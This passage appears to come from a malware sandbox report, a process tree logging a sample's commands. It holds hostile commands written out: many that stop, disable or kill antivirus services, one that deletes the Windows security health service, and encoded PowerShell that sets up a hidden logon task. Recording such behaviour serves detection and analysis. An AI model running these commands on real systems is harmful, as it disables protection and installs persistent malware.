  - Executes a command shell one-liner
  PID:5396
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM mbamservice.exe
    3⤵
    - Kills process with taskkill
    PID:5168
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "MBAMService" >nul 2>&1
  2⤵
  PID:4608
- - C:\Windows\system32\sc.exe
    sc stop "MBAMService"
    3⤵
    PID:1336
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c net stop MBAMService /y
  2⤵
  PID:3344
- - C:\Windows\system32\net.exe
    net stop MBAMService /y
    3⤵
    PID:5216
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop MBAMService /y
      4⤵
      PID:5024
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "ekrn" >nul 2>&1
  2⤵
  PID:1456
- - C:\Windows\system32\sc.exe
    sc stop "ekrn"
    3⤵
    PID:1792
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c net stop "Avast Antivirus" /y
  2⤵
  PID:4380
- - C:\Windows\system32\net.exe
    net stop "Avast Antivirus" /y
    3⤵
    PID:2900
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "Avast Antivirus" /y
      4⤵
      PID:124
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM SAVAdminService.exe >nul 2>&1
  2⤵
  PID:3044
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM SAVAdminService.exe
    3⤵
    PID:5912
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand aQBmACgARwBlAHQALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAALQBUAGEAcwBrAFAAYQB0AGgAIAAnAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQQBwAHAAbABpAGMAYQB0AGkAbwBuACAARQB4AHAAZQByAGkAZQBuAGMAZQBcACcAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAUAByAG8AZwByAGEAbQBEAGEAdABhAFUAcABkAGEAdABlAHIAJwAgAC0ARQBBACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAHsAJwBZACcAfQA=
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  PID:5316
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "MBAMService" start=disabled >nul 2>&1
  2⤵
  PID:4640
- - C:\Windows\system32\sc.exe
    sc config "MBAMService" start=disabled
    3⤵
    PID:6020
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "ekrn" start=disabled >nul 2>&1
  2⤵
  PID:1724
- - C:\Windows\system32\sc.exe
    sc config "ekrn" start=disabled
    3⤵
    PID:4616
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM mbamtray.exe >nul 2>&1
  2⤵
  PID:1820
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM mbamtray.exe
    3⤵
    PID:724
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c net stop "avast! Antivirus" /y
  2⤵
  PID:1904
- - C:\Windows\system32\net.exe
    net stop "avast! Antivirus" /y
    3⤵
    PID:1500
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "avast! Antivirus" /y
      4⤵
      PID:3256
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c net stop MBAMProtection /y
  2⤵
  PID:3080
- - C:\Windows\system32\net.exe
    net stop MBAMProtection /y
    3⤵
    PID:944
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop MBAMProtection /y
      4⤵
      PID:5972
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "MBAMProtection" >nul 2>&1
  2⤵
  PID:2552
- - C:\Windows\system32\sc.exe
    sc stop "MBAMProtection"
    3⤵
    PID:3716
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "EHttpSrv" >nul 2>&1
  2⤵
  PID:3772
- - C:\Windows\system32\sc.exe
    sc stop "EHttpSrv"
    3⤵
    PID:3668
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM SophosUI.exe >nul 2>&1
  2⤵
  PID:3712
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM SophosUI.exe
    3⤵
    PID:3404
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM mbam.exe >nul 2>&1
  2⤵
  PID:1228
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM mbam.exe
    3⤵
    - Kills process with taskkill
    PID:3576
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand VQBuAHIAZQBnAGkAcwB0AGUAcgAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsAUABhAHQAaAAgACcAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABXAGkAbgBkAG8AdwBzAFUAcABkAGEAdABlAFwAJwAgAC0AVABhAHMAawBOAGEAbQBlACAAJwBTAGUAYwB1AHIAaQB0AHkASABlAGEAbAB0AGgAQwBoAGUAYwBrACcAIAAtAEMAbwBuAGYAaQByAG0AOgAkAGYAYQBsAHMAZQAgADIAPgAkAG4AdQBsAGwA
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  PID:3152
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4736
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "avast! Antivirus" start=disabled
  2⤵
  PID:2432
- - C:\Windows\system32\sc.exe
    sc config "avast! Antivirus" start=disabled
    3⤵
    - Launches sc.exe
    PID:4372
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /change /tn "Malwarebytes TrayApp" /disable
  2⤵
  - Executes a command shell one-liner
  PID:4504
- - C:\Windows\system32\schtasks.exe
    schtasks /change /tn "Malwarebytes TrayApp" /disable
    3⤵
    PID:2608
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "MBAMProtection" start=disabled >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:3704
- - C:\Windows\system32\sc.exe
    sc config "MBAMProtection" start=disabled
    3⤵
    PID:1792
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "EHttpSrv" start=disabled >nul 2>&1
  2⤵
  PID:4448
- - C:\Windows\system32\sc.exe
    sc config "EHttpSrv" start=disabled
    3⤵
    PID:256
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM mcshield.exe >nul 2>&1
  2⤵
  PID:4720
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM mcshield.exe
    3⤵
    - Kills process with taskkill
    PID:3004
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c net stop AVGSvc /y
  2⤵
  PID:4136
- - C:\Windows\system32\net.exe
    net stop AVGSvc /y
    3⤵
    PID:428
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop AVGSvc /y
      4⤵
      PID:1396
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "MBAMChameleon" >nul 2>&1
  2⤵
  PID:4088
- - C:\Windows\system32\sc.exe
    sc stop "MBAMChameleon"
    3⤵
    PID:2524
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config MBAMSwissArmy start=disabled
  2⤵
  PID:5680
- - C:\Windows\system32\sc.exe
    sc config MBAMSwissArmy start=disabled
    3⤵
    - Launches sc.exe
    PID:4444
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "ESHASRV" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:4548
- - C:\Windows\system32\sc.exe
    sc stop "ESHASRV"
    3⤵
    PID:4196
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM mbamgui.exe >nul 2>&1
  2⤵
  PID:1716
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM mbamgui.exe
    3⤵
    PID:5776
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM mfemms.exe >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:5864
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM mfemms.exe
    3⤵
    - Kills process with taskkill
    PID:1972
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "MBAMChameleon" start=disabled >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:2676
- - C:\Windows\system32\sc.exe
    sc config "MBAMChameleon" start=disabled
    3⤵
    PID:1664
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "ESHASRV" start=disabled >nul 2>&1
  2⤵
  PID:3328
- - C:\Windows\system32\sc.exe
    sc config "ESHASRV" start=disabled
    3⤵
    PID:1948
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config MBAMChameleon start=disabled
  2⤵
  PID:1368
- - C:\Windows\system32\sc.exe
    sc config MBAMChameleon start=disabled
    3⤵
    PID:3508
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config AVGSvc start=disabled
  2⤵
  PID:52
- - C:\Windows\system32\sc.exe
    sc config AVGSvc start=disabled
    3⤵
    - Launches sc.exe
    PID:5976
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM MBAMWsc.exe >nul 2>&1
  2⤵
  PID:2504
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM MBAMWsc.exe
    3⤵
    - Kills process with taskkill
    PID:2924
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM mfevtps.exe >nul 2>&1
  2⤵
  PID:5708
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM mfevtps.exe
    3⤵
    PID:5956
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "MBAMSwissArmy" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:5844
- - C:\Windows\system32\sc.exe
    sc stop "MBAMSwissArmy"
    3⤵
    - Launches sc.exe
    PID:4912
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "ntrtscan" >nul 2>&1
  2⤵
  PID:6084
- - C:\Windows\system32\sc.exe
    sc stop "ntrtscan"
    3⤵
    PID:256
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config MBAMFarflt start=disabled
  2⤵
  PID:5424
- - C:\Windows\system32\sc.exe
    sc config MBAMFarflt start=disabled
    3⤵
    PID:4868
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM mbampt.exe >nul 2>&1
  2⤵
  PID:3576
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM mbampt.exe
    3⤵
    PID:4480
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "MBAMSwissArmy" start=disabled >nul 2>&1
  2⤵
  PID:5860
- - C:\Windows\system32\sc.exe
    sc config "MBAMSwissArmy" start=disabled
    3⤵
    - Launches sc.exe
    PID:5040
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "ntrtscan" start=disabled >nul 2>&1
  2⤵
  PID:6104
- - C:\Windows\system32\sc.exe
    sc config "ntrtscan" start=disabled
    3⤵
    PID:1828
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop WindowsSecurityHealthSvc & sc delete WindowsSecurityHealthSvc
  2⤵
  PID:1360
- - C:\Windows\system32\sc.exe
    sc stop WindowsSecurityHealthSvc
    3⤵
    PID:1356
- - C:\Windows\system32\sc.exe
    sc delete WindowsSecurityHealthSvc
    3⤵
    PID:1496
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM McAPExe.exe >nul 2>&1
  2⤵
  PID:4876
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM McAPExe.exe
    3⤵
    - Kills process with taskkill
    PID:6020
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "MBAMFarflt" >nul 2>&1
  2⤵
  PID:4200
- - C:\Windows\system32\sc.exe
    sc stop "MBAMFarflt"
    3⤵
    - Launches sc.exe
    PID:988
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "tmlisten" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:4724
- - C:\Windows\system32\sc.exe
    sc stop "tmlisten"
    3⤵
    PID:4664
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM MBCfg.exe >nul 2>&1
  2⤵
  PID:3928
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5016
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM MBCfg.exe
    3⤵
    PID:1348
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABuAD0AJwBTAHkAcwB0AGUAbQBIAGUAYQBsAHQAaABNAG8AbgBpAHQAbwByACcAOwBHAGUAdAAtAFcATQBJAE8AYgBqAGUAYwB0ACAALQBOAGEAbQBlAHMAcABhAGMAZQAgAHIAbwBvAHQAXABzAHUAYgBzAGMAcgBpAHAAdABpAG8AbgAgAC0AQwBsAGEAcwBzACAAXwBfAEUAdgBlAG4AdABGAGkAbAB0AGUAcgAgAC0ARgBpAGwAdABlAHIAIAAiAE4AYQBtAGUAPQAnACQAbgAnACIAfABSAGUAbQBvAHYAZQAtAFcAbQBpAE8AYgBqAGUAYwB0ADsARwBlAHQALQBXAE0ASQBPAGIAagBlAGMAdAAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIAByAG8AbwB0AFwAcwB1AGIAcwBjAHIAaQBwAHQAaQBvAG4AIAAtAEMAbABhAHMAcwAgAEMAbwBtAG0AYQBuAGQATABpAG4AZQBFAHYAZQBuAHQAQwBvAG4AcwB1AG0AZQByACAALQBGAGkAbAB0AGUAcgAgACIATgBhAG0AZQA9ACcAJABuACcAIgB8AFIAZQBtAG8AdgBlAC0AVwBtAGkATwBiAGoAZQBjAHQAOwBHAGUAdAAtAFcATQBJAE8AYgBqAGUAYwB0ACAALQBOAGEAbQBlAHMAcABhAGMAZQAgAHIAbwBvAHQAXABzAHUAYgBzAGMAcgBpAHAAdABpAG8AbgAgAC0AQwBsAGEAcwBzACAAXwBfAEYAaQBsAHQAZQByAFQAbwBDAG8AbgBzAHUAbQBlAHIAQgBpAG4AZABpAG4AZwB8AFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0AHsAJABfAC4ARgBpAGwAdABlAHIAIAAtAGwAaQBrAGUAIAAiACoAJABuACoAIgB9AHwAUgBlAG0AbwB2AGUALQBXAG0AaQBPAGIAagBlAGMAdAA=
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  PID:4156
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM fshoster32.exe >nul 2>&1
  2⤵
  PID:4604
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM fshoster32.exe
    3⤵
    - Kills process with taskkill
    PID:1864
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "tmlisten" start=disabled >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:3184
- - C:\Windows\system32\sc.exe
    sc config "tmlisten" start=disabled
    3⤵
    PID:1924
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "MBAMFarflt" start=disabled >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:5584
- - C:\Windows\system32\sc.exe
    sc config "MBAMFarflt" start=disabled
    3⤵
    PID:2696
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "TmCCSF" >nul 2>&1
  2⤵
  PID:4432
- - C:\Windows\system32\sc.exe
    sc stop "TmCCSF"
    3⤵
    - Launches sc.exe
    PID:248
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM AvastSvc.exe >nul 2>&1
  2⤵
  PID:724
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM AvastSvc.exe
    3⤵
    PID:5188
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM fsgk32.exe >nul 2>&1
  2⤵
  PID:5564
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM fsgk32.exe
    3⤵
    PID:5804
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "MBAMWebProtection" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:4696
- - C:\Windows\system32\sc.exe
    sc stop "MBAMWebProtection"
    3⤵
    - Launches sc.exe
    PID:2164
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "TmCCSF" start=disabled >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:5956
- - C:\Windows\system32\sc.exe
    sc config "TmCCSF" start=disabled
    3⤵
    PID:2236
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "MBAMWebProtection" start=disabled >nul 2>&1
  2⤵
  PID:4416
- - C:\Windows\system32\sc.exe
    sc config "MBAMWebProtection" start=disabled
    3⤵
    - Launches sc.exe
    PID:4224
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM AvastUI.exe >nul 2>&1
  2⤵
  PID:4584
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM AvastUI.exe
    3⤵
    PID:5076
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "TMBMSRV" >nul 2>&1
  2⤵
  PID:4052
- - C:\Windows\system32\sc.exe
    sc stop "TMBMSRV"
    3⤵
    - Launches sc.exe
    PID:4452
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "avast! Antivirus" >nul 2>&1
  2⤵
  PID:4232
- - C:\Windows\system32\sc.exe
    sc stop "avast! Antivirus"
    3⤵
    PID:3188
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnADsAVQBuAHIAZQBnAGkAcwB0AGUAcgAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsAUABhAHQAaAAgACcAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABOAGUAdABUAHIAYQBjAGUAXAAnACAALQBUAGEAcwBrAE4AYQBtAGUAIAAnAEcAYQB0AGgAZQByAE4AZQB0AHcAbwByAGsASQBuAGYAbwAnACAALQBDAG8AbgBmAGkAcgBtADoAJABmAGEAbABzAGUAIAAyAD4AJABuAHUAbABsADsAJABhAD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJwAiAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAMgAwADIANgAtADAAOQAtADMAMABfADcAYwAzAGUAYQBlAGEAYgAzAGEAZQBmAGMAMgBiAGEANwAxADkAYQA2ADIAZABhADEAYgA1ADIANwAyADcANwBfAGcAbABhAHMAcwB3AG8AcgBtAF8AaQBjAGUAZABpAGQAXwBsAHUAYwBhAC0AcwB0AGUAYQBsAGUAcgBfAG4AagByAGEAdABfAHMAdABlAGEAbABjAC4AZQB4AGUAIgAnADsAJAB0AD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFQAcgBpAGcAZwBlAHIAIAAtAEEAdABMAG8AZwBPAG4AIAAtAFUAcwBlAHIAIAAkAGUAbgB2ADoAVQBTAEUAUgBOAEEATQBFADsAJABwAD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFAAcgBpAG4AYwBpAHAAYQBsACAALQBVAHMAZQByAEkAZAAgACQAZQBuAHYAOgBVAFMARQBSAE4AQQBNAEUAIAAtAFIAdQBuAEwAZQB2AGUAbAAgAEgAaQBnAGgAZQBzAHQAIAAtAEwAbwBnAG8AbgBUAHkAcABlACAASQBuAHQAZQByAGEAYwB0AGkAdgBlADsAJABzAD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AVABpAG0AZQBMAGkAbQBpAHQAIAAwACAALQBBAGwAbABvAHcAUwB0AGEAcgB0AEkAZgBPAG4AQgBhAHQAdABlAHIAaQBlAHMAIAAtAEQAbwBuAHQAUwB0AG8AcABJAGYARwBvAGkAbgBnAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0ASABpAGQAZABlAG4AIAAtAE0AdQBsAHQAaQBwAGwAZQBJAG4AcwB0AGEAbgBjAGUAcwAgAEkAZwBuAG8AcgBlAE4AZQB3ACAALQBTAHQAYQByAHQAVwBoAGUAbgBBAHYAYQBpAGwAYQBiAGwAZQA7AFIAZQBnAGkAcwB0AGUAcgAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsAUABhAHQAaAAgACcAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABOAGUAdABUAHIAYQBjAGUAXAAnACAALQBUAGEAcwBrAE4AYQBtAGUAIAAnAEcAYQB0AGgAZQByAE4AZQB0AHcAbwByAGsASQBuAGYAbwAnACAALQBBAGMAdABpAG8AbgAgACQAYQAgAC0AVAByAGkAZwBnAGUAcgAgACQAdAAgAC0AUAByAGkAbgBjAGkAcABhAGwAIAAkAHAAIAAtAFMAZQB0AHQAaQBuAGcAcwAgACQAcwAgAC0ARgBvAHIAYwBlACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA=
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  PID:2704
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "TMBMSRV" start=disabled >nul 2>&1
  2⤵
  PID:3480
- - C:\Windows\system32\sc.exe
    sc config "TMBMSRV" start=disabled
    3⤵
    PID:2456
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM aswEngSrv.exe >nul 2>&1
  2⤵
  PID:1468
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM aswEngSrv.exe
    3⤵
    - Kills process with taskkill
    PID:964
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "avast! Antivirus" start=disabled >nul 2>&1
  2⤵
  PID:1396
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3488
- - C:\Windows\system32\sc.exe
    sc config "avast! Antivirus" start=disabled
    3⤵
    PID:2540
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "AvastWscReporter" >nul 2>&1
  2⤵
  PID:3156
- - C:\Windows\system32\sc.exe
    sc stop "AvastWscReporter"
    3⤵
    PID:5924
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "SAVService" >nul 2>&1
  2⤵
  PID:4772
- - C:\Windows\system32\sc.exe
    sc stop "SAVService"
    3⤵
    PID:3564
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM aswidsagent.exe >nul 2>&1
  2⤵
  PID:5248
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM aswidsagent.exe
    3⤵
    PID:124
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "SAVService" start=disabled >nul 2>&1
  2⤵
  PID:1864
- - C:\Windows\system32\sc.exe
    sc config "SAVService" start=disabled
    3⤵
    - Launches sc.exe
    PID:2452
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "AvastWscReporter" start=disabled >nul 2>&1
  2⤵
  PID:2696
- - C:\Windows\system32\sc.exe
    sc config "AvastWscReporter" start=disabled
    3⤵
    - Launches sc.exe
    PID:3748
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM avgsvc.exe >nul 2>&1
  2⤵
  PID:3020
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM avgsvc.exe
    3⤵
    - Kills process with taskkill
    PID:2668
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "SAVAdminService" >nul 2>&1
  2⤵
  PID:3428
- - C:\Windows\system32\sc.exe
    sc stop "SAVAdminService"
    3⤵
    PID:764
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "aswbIDSAgent" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:5280
- - C:\Windows\system32\sc.exe
    sc stop "aswbIDSAgent"
    3⤵
    - Launches sc.exe
    PID:904
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "SAVAdminService" start=disabled >nul 2>&1
  2⤵
  PID:360
- - C:\Windows\system32\sc.exe
    sc config "SAVAdminService" start=disabled
    3⤵
    PID:5932
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "aswbIDSAgent" start=disabled >nul 2>&1
  2⤵
  PID:2036
- - C:\Windows\system32\sc.exe
    sc config "aswbIDSAgent" start=disabled
    3⤵
    - Launches sc.exe
    PID:1132
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM avgui.exe >nul 2>&1
  2⤵
  PID:2636
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM avgui.exe
    3⤵
    - Kills process with taskkill
    PID:4132
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "Sophos Agent" >nul 2>&1
  2⤵
  PID:3404
- - C:\Windows\system32\sc.exe
    sc stop "Sophos Agent"
    3⤵
    PID:2000
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "aswSP" >nul 2>&1
  2⤵
  PID:2948
- - C:\Windows\system32\sc.exe
    sc stop "aswSP"
    3⤵
    - Launches sc.exe
    PID:5076
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "Sophos Agent" start=disabled >nul 2>&1
  2⤵
  PID:5828
- - C:\Windows\system32\sc.exe
    sc config "Sophos Agent" start=disabled
    3⤵
    PID:5044
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM AVGUI.exe >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:1372
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM AVGUI.exe
    3⤵
    PID:1704
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "aswSP" start=disabled >nul 2>&1
  2⤵
  PID:5392
- - C:\Windows\system32\sc.exe
    sc config "aswSP" start=disabled
    3⤵
    - Launches sc.exe
    PID:4288
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnADsAJABuAGEAbQBlAD0AJwBCAEkAVABTAEMAYQBjAGgAZQBNAGEAbgBhAGcAZQByACcAOwBHAGUAdAAtAFcATQBJAE8AYgBqAGUAYwB0ACAALQBOAGEAbQBlAHMAcABhAGMAZQAgAHIAbwBvAHQAXABzAHUAYgBzAGMAcgBpAHAAdABpAG8AbgAgAC0AQwBsAGEAcwBzACAAXwBfAEUAdgBlAG4AdABGAGkAbAB0AGUAcgAgAC0ARgBpAGwAdABlAHIAIAAiAE4AYQBtAGUAPQAnACQAbgBhAG0AZQAnACIAIAB8ACAAUgBlAG0AbwB2AGUALQBXAG0AaQBPAGIAagBlAGMAdAA7AEcAZQB0AC0AVwBNAEkATwBiAGoAZQBjAHQAIAAtAE4AYQBtAGUAcwBwAGEAYwBlACAAcgBvAG8AdABcAHMAdQBiAHMAYwByAGkAcAB0AGkAbwBuACAALQBDAGwAYQBzAHMAIABDAG8AbQBtAGEAbgBkAEwAaQBuAGUARQB2AGUAbgB0AEMAbwBuAHMAdQBtAGUAcgAgAC0ARgBpAGwAdABlAHIAIAAiAE4AYQBtAGUAPQAnACQAbgBhAG0AZQAnACIAIAB8ACAAUgBlAG0AbwB2AGUALQBXAG0AaQBPAGIAagBlAGMAdAA7AEcAZQB0AC0AVwBNAEkATwBiAGoAZQBjAHQAIAAtAE4AYQBtAGUAcwBwAGEAYwBlACAAcgBvAG8AdABcAHMAdQBiAHMAYwByAGkAcAB0AGkAbwBuACAALQBDAGwAYQBzAHMAIABfAF8ARgBpA